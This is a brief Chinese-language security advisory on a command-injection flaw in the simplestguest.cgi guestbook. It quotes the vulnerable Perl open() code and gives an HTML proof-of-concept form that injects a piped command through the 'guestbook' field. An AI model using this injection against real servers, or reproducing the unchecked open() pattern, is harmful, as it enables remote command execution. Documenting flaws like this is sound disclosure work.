simplestguest.cgi留言板程序没有正确检查输入数据的有效性,直接用用户提供的
guestbook 变量来作为文件名,并用open()函数打开。因此任何人都可以在远程系
统上以web服务器的权限执行任意命令。
有问题的代码部分:
$outputdir = $basedir . / . $contents_by_name{'guestbook'} ;
$outputfile = $outputdir ;
# sends to write output.
&output;
....
########## OUTPUT
sub output
{
&BakeCookies('guestbook',Signed);
open (OUTFILE, $outputfile );
....
all
创建下面的表单,提交:
<form action=http://target/cgi-bin/simplestguest.cgi method=POST>
<input type=hidden name=required value= NAME >
<input type=hidden name=guestbook
value= | <command goes here> | >
<input type=hidden name= NAME value= X >
<input type=submit>
</form>
暂无评论